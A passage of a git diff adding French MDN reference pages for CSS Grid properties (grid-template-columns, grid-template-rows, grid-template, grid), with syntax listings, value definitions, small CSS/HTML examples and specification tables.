+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template-areas")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">Guide : les zones des grilles CSS</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/grid-template-areas/">les zones des grilles CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-template-columns/index.html b/files/fr/web/css/grid-template-columns/index.html
new file mode 100644
index 0000000000..f6d58df3f0
--- /dev/null
+++ b/files/fr/web/css/grid-template-columns/index.html
@@ -0,0 +1,145 @@
+---
+title: grid-template-columns
+slug: Web/CSS/grid-template-columns
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-template-columns
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-template-columns</code></strong> définit les noms des lignes et les fonctions de taille (<em>track sizing</em>) pour les colonnes de la grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template-columns.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-template-columns: none;
+
+/* Valeurs &lt;track-list&gt; */
+grid-template-columns: 100px 1fr;
+grid-template-columns: [linename] 100px;
+grid-template-columns: [linename1] 100px [linename2 linename3];
+grid-template-columns: minmax(100px, 1fr);
+grid-template-columns: fit-content(40%);
+grid-template-columns: repeat(3, 200px);
+
+/* Valeurs &lt;auto-track-list&gt; */
+grid-template-columns: 200px repeat(auto-fill, 100px) 300px;
+grid-template-columns: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-columns: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-columns: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Valeurs globales */
+grid-template-columns: inherit;
+grid-template-columns: initial;
+grid-template-columns: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'il n'y a pas de grille explicite. N'importe quelle colonne sera générée implicitement et sa taille sera déterminée grâce à la propriété {{cssxref("grid-auto-columns")}}.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un longueur positive. Voir {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif (type {{cssxref("&lt;percentage&gt;")}}) relatif à la taille du bloc du conteneur de la grille. Si cette taille n'est pas définie, la valeur est traitée comme <code>auto</code>.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive dont l'unité <code>fr</code> indique le facteur de flexibilité de la piste. Chaque piste dimensionnée avec <code>&lt;flex&gt;</code> occupera une partie de l'espace restant en fonction de ce facteur.
+ <p>Lorsque cette valeur apparaît en dehors de la notation <code>minmax()</code>, la valeur minimale <code>auto</code> est implicite (la valeur signifie <code>minmax(auto, &lt;flex&gt;)</code>). Voir {{cssxref("&lt;flex&gt;")}}.</p>
+ </dd>
+ <dt id="max-content"><code>max-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions maximales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions minimales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt>{{cssxref("minmax","minmax(min, max)")}}</dt>
+ <dd>Une notation fonctionnelle qui définit un intervalle de taille entre <code>min</code> et <code>max</code>. Si <code>max</code> est inférieur à <code>min</code>, <code>max</code> est ignoré et la fonction est traitée comme un minimum. En tant que maximum, elle joue le rôle d'une valeur <code>&lt;flex&gt;</code> qui définit le facteur de flexibilité de la piste. Cette valeur est invalide en tant que minimum.</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille.</dd>
+ <dd>
+ <p class="note"><strong>Note :</strong> Les pistes de taille <code>auto</code> (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}.</p>
+ </dd>
+ <dt id="fit-content()">{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</dt>
+ <dd>Cette notation représente la formule <code>min(max-content, max(auto, argument))</code> qui est calculée comme pour <code>auto</code> (i.e. <code>minmax(auto, max-content)</code>) sauf que la taille de la piste est ramenée à <em>argument</em> si elle est plus grande que le minimum fourni par <code>auto</code>.</dd>
+ <dt>{{cssxref("repeat","repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ], &lt;track-list&gt; )")}}</dt>
+ <dd>Représente un fragment répété d'une liste de pistes, cela permet de gérer des grilles avec de nombreuses colonnes pour lesquelles on réutilise un motif.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  width: 100%;
+  grid-template-columns: 50px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "20px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-columns", "grid-template-columns")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_pistes">Guide : les concepts de base pour les grilles CSS : les pistes</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-define-a-grid/">définir une grille (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-template-rows/index.html b/files/fr/web/css/grid-template-rows/index.html
new file mode 100644
index 0000000000..0e31daf6f7
--- /dev/null
+++ b/files/fr/web/css/grid-template-rows/index.html
@@ -0,0 +1,149 @@
+---
+title: grid-template-rows
+slug: Web/CSS/grid-template-rows
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-template-rows
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-template-rows</code></strong> définit les noms des lignes et les fonctions de taille (<em>track sizing</em>) pour les lignes de la grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-template-rows: none;
+
+/* Valeurs avec une liste de pistes */
+/* Type &lt;track-list&gt;                */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+
+/* Valeurs &lt;auto-track-list&gt; */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+
+/* Valeurs globales */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+</pre>
+
+<p>Cette propriété peut être définie avec le mot-clé <code>none</code> ou avec une valeur de type <code>&lt;track-list&gt;</code> ou avec une valeur de type <code>&lt;auto-track-list&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'il n'y a pas de grille explicite. N'importe quelle ligne sera générée implicitement et sa taille sera déterminée grâce à la propriété {{cssxref("grid-auto-rows")}}.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un longueur positive (type {{cssxref("&lt;length&gt;")}}).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif (type {{cssxref("&lt;percentage&gt;")}}) relatif à la taille du bloc du conteneur de la grille. Si cette taille n'est pas définie, la valeur est traitée comme <code>auto</code>.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive dont l'unité <code>fr</code> indique le facteur de flexibilité de la piste. Chaque piste dimensionnée avec <code>&lt;flex&gt;</code> occupera une partie de l'espace restant en fonction de ce facteur.
+ <p>Lorsque cette valeur apparaît en dehors de la notation <code>minmax()</code>, la valeur minimale <code>auto</code> est implicite (la valeur signifie <code>minmax(auto, &lt;flex&gt;)</code>). Voir {{cssxref("&lt;flex_value&gt;")}}.</p>
+ </dd>
+ <dt><code>max-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions maximales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions minimales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt>{{cssxref("minmax", "minmax(min, max)")}}</dt>
+ <dd>Une notation fonctionnelle qui définit un intervalle de taille entre <code>min</code> et <code>max</code>. Si <code>max</code> est inférieur à <code>min</code>, <code>max</code> est ignoré et la fonction est traitée comme un minimum. En tant que maximum, elle joue le rôle d'une valeur <code>&lt;flex&gt;</code> qui définit le facteur de flexibilité de la piste. Cette notation est invalide en tant que minimum.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille.</dd>
+ <dd>
+ <p class="note"><strong>Note :</strong> Les pistes de taille <code>auto</code> (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}.</p>
+ </dd>
+ <dt>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</dt>
+ <dd>Cette notation représente la formule <code>min(max-content, max(auto, argument))</code> qui est calculée comme pour <code>auto</code> (i.e. <code>minmax(auto, max-content)</code>) sauf que la taille de la piste est ramenée à <em>argument</em> si elle est plus grande que le minimum fourni par <code>auto</code>.</dd>
+ <dt>{{cssxref("repeat","repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ], &lt;track-list&gt; )")}}</dt>
+ <dd>Représente un fragment répété d'une liste de pistes, cela permet de gérer des grilles avec de nombreuses lignes pour lesquelles on réutilise un motif.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "40px", "100px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_pistes">Guide : les concepts de base pour les grilles CSS : les pistes</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-define-a-grid/">définir une grille (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-template/index.html b/files/fr/web/css/grid-template/index.html
new file mode 100644
index 0000000000..1311f23f82
--- /dev/null
+++ b/files/fr/web/css/grid-template/index.html
@@ -0,0 +1,148 @@
+---
+title: grid-template
+slug: Web/CSS/grid-template
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-template
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-template</code></strong> est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> permettant de définir les colonnes, grilles et zones d'une grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés détaillées sont {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-template: none;
+
+/* Valeurs utilisant grid-template-rows / grid-template-columns */
+grid-template: 100px 1fr / 50px 1fr;
+grid-template: auto 1fr / auto 1fr auto;
+grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%;
+grid-template: fit-content(100px) / fit-content(40%);
+
+/* Valeurs utilisant grid-template-areas grid-template-rows / grid-template-column */
+grid-template: "a a a"
+               "b b b";
+grid-template: "a a a" 20%
+               "b b b" auto;
+grid-template: [header-top] "a a a"     [header-bottom]
+                 [main-top] "b b b" 1fr [main-bottom]
+                            / auto 1fr auto;
+
+/* Valeurs globales */
+grid-template: inherit;
+grid-template: initial;
+grid-template: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui applique <code>none</code> sur les trois propriétés détaillées et qui indique qu'il n'y a pas de grille explicite. Il n'y a pas de zone de grille nommée. Les lignes et les colonnes seront générées de façon implicite et leurs tailles seront déterminées par les propriétés {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>Voir {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}} pour les valeurs définies. {{cssxref("grid-template-areas")}} recevra la valeur <code>none</code>.</dd>
+ <dt><code>[ &lt;line-names&gt;? &lt;string&gt; &lt;track-size&gt;? &lt;line-names&gt;? ]+ [ / &lt;track-list&gt; ]?</code></dt>
+ <dd>{{cssxref("grid-template-areas")}} est définie avec les chaînes listées, {{cssxref("grid-template-rows")}} est définie avec les tailles de piste suivant chaque chaîne (<code>auto</code> sera utilisé pour les tailles manquantes), les lignes seront découpées selon les noms avant et après chaque taille. {{cssxref("grid-template-columns")}} sera définie avec la valeur listée après la barre oblique (ou <code>none</code> sinon).
+ <p class="note"><strong>Note :</strong> La fonction {{cssxref("repeat()")}} n'est pas autorisée parmi les listes de pistes car les pistes sont conçues pour correspondre à la disposition finale (à la façon d'un dessin en ASCII).</p>
+ </dd>
+</dl>
+
+<p class="note"><strong>Note :</strong> La propriété raccourcie {{cssxref("grid")}} accepte la même syntaxe mais réinitialise également les propriétés implicites avec leurs valeurs initiales. On pourra utiliser <code>grid</code> (plutôt que <code>grid-template</code>) pour empêcher les valeurs de suivre la cascade de façon séparée.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight[5-8]">#page {
+  display: grid;
+  width: 100%;
+  height: 200px;
+  grid-template: [header-left] "head head" 30px [header-right]
+                 [main-left]   "nav  main" 1fr  [main-right]
+                 [footer-left] "nav  foot" 30px [footer-right]
+                 / 120px 1fr;
+}
+
+header {
+  background-color: lime;
+  grid-area: head;
+}
+
+nav {
+  background-color: lightblue;
+  grid-area: nav;
+}
+
+main {
+  background-color: yellow;
+  grid-area: main;
+}
+
+footer {
+  background-color: red;
+  grid-column: foot;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;section id="page"&gt;
+  &lt;header&gt;En-tête&lt;/header&gt;
+  &lt;nav&gt;Navigation&lt;/nav&gt;
+  &lt;main&gt;Zone principale&lt;/main&gt;
+  &lt;footer&gt;Bas de page&lt;/footer&gt;
+&lt;/section&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "200px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template", "grid-template")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-template")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : Placer les éléments d'une grille sur les lignes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille#Les_propriétés_raccourcies_pour_les_grilles_CSS">Guide : Les zones de grilles et les propriétés raccourcies</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/grid-template-shorthand/">les propriétés raccourcies pour les zones de grille (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid/index.html b/files/fr/web/css/grid/index.html
new file mode 100644
index 0000000000..ead926238c
--- /dev/null
+++ b/files/fr/web/css/grid/index.html
@@ -0,0 +1,140 @@
+---
+title: grid
+slug: Web/CSS/grid
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>grid</strong></code> est une propriété raccourcie qui permet de définir toutes les propriétés liées aux grilles CSS, qu'elles soient explicites ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-areas")}}), implicites ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}} et {{cssxref("grid-auto-flow")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p class="note"><strong>Note :</strong> Une seule déclaration <code>grid</code> permettra uniquement de définir les propriétés explicites ou implicites. Les propriétés qui ne sont pas définies via la propriété raccourcie prendront leurs valeurs initiales. Les propriétés d'espacement ne sont pas surchargées par cette propriété raccourcie.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs &lt;'grid-template'&gt; */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+   [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+   &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Valeurs globales */
+grid: inherit;
+grid: initial;
+grid: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Pour plus de détails, voir les pages de chacune des propriétés : {{cssxref("grid-template")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}.</p>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>Définit {{cssxref("grid-template")}}, ce qui inclut {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-areas")}}.</dd>
+ <dt><code>&lt;'grid-auto-flow'&gt;</code></dt>
+ <dd>Définit {{cssxref("grid-auto-flow")}} qui indique le fonctionnement de l'algorithme de placement automatique et qui détaille exactement comment les éléments placés automatiquement « coulent » dans la grille.</dd>
+ <dt><code>&lt;'grid-auto-rows'&gt;</code></dt>
+ <dd>Définit {{cssxref("grid-auto-rows")}} qui indique la taille des pistes créées pour les lignes de façon implicite.</dd>
+ <dt><code>&lt;'grid-auto-columns'&gt;</code></dt>
+ <dd>Définit {{cssxref("grid-auto-columns")}} qui indique la taille des pistes créées pour les colonnes de façon implicite.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : Placer les éléments d'une grille sur les lignes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille#Les_propriétés_raccourcies_pour_les_grilles_CSS">Guide : Les zones de grilles et les propriétés raccourcies</a></li>
+</ul>
diff --git a/files/fr/web/css/hanging-punctuation/index.html b/files/fr/web/css/hanging-punctuation/index.html
new file mode 100644
index 0000000000..7380231a60
--- /dev/null
+++ b/files/fr/web/css/hanging-punctuation/index.html
@@ -0,0 +1,129 @@
+---
+title: hanging-punctuation
+slug: Web/CSS/hanging-punctuation
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/hanging-punctuation
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>hanging-punctuation</code></strong> indique si un signe de ponctuation se situant au début ou à la fin d'une ligne de texte doit rester sur cette ligne, quitte à sortir de la boîte qui représente la ligne.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+hanging-punctuation: none;
+hanging-punctuation: first;
+hanging-punctuation: last;
+hanging-punctuation: force-end;
+hanging-punctuation: allow-end;
+
+/* Valeurs avec deux mots-clés */
+hanging-punctuation: first force-end;
+hanging-punctuation: first allow-end;
+hanging-punctuation: first last;
+hanging-punctuation: last force-end;
+hanging-punctuation: last allow-end;
+
+/* Valeurs avec trois mots-clés */
+hanging-punctuation: first force-end last;
+hanging-punctuation: first allow-end last;
+
+/* Valeurs globales */
+hanging-punctuation: inherit;
+hanging-punctuation: initial;
+hanging-punctuation: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
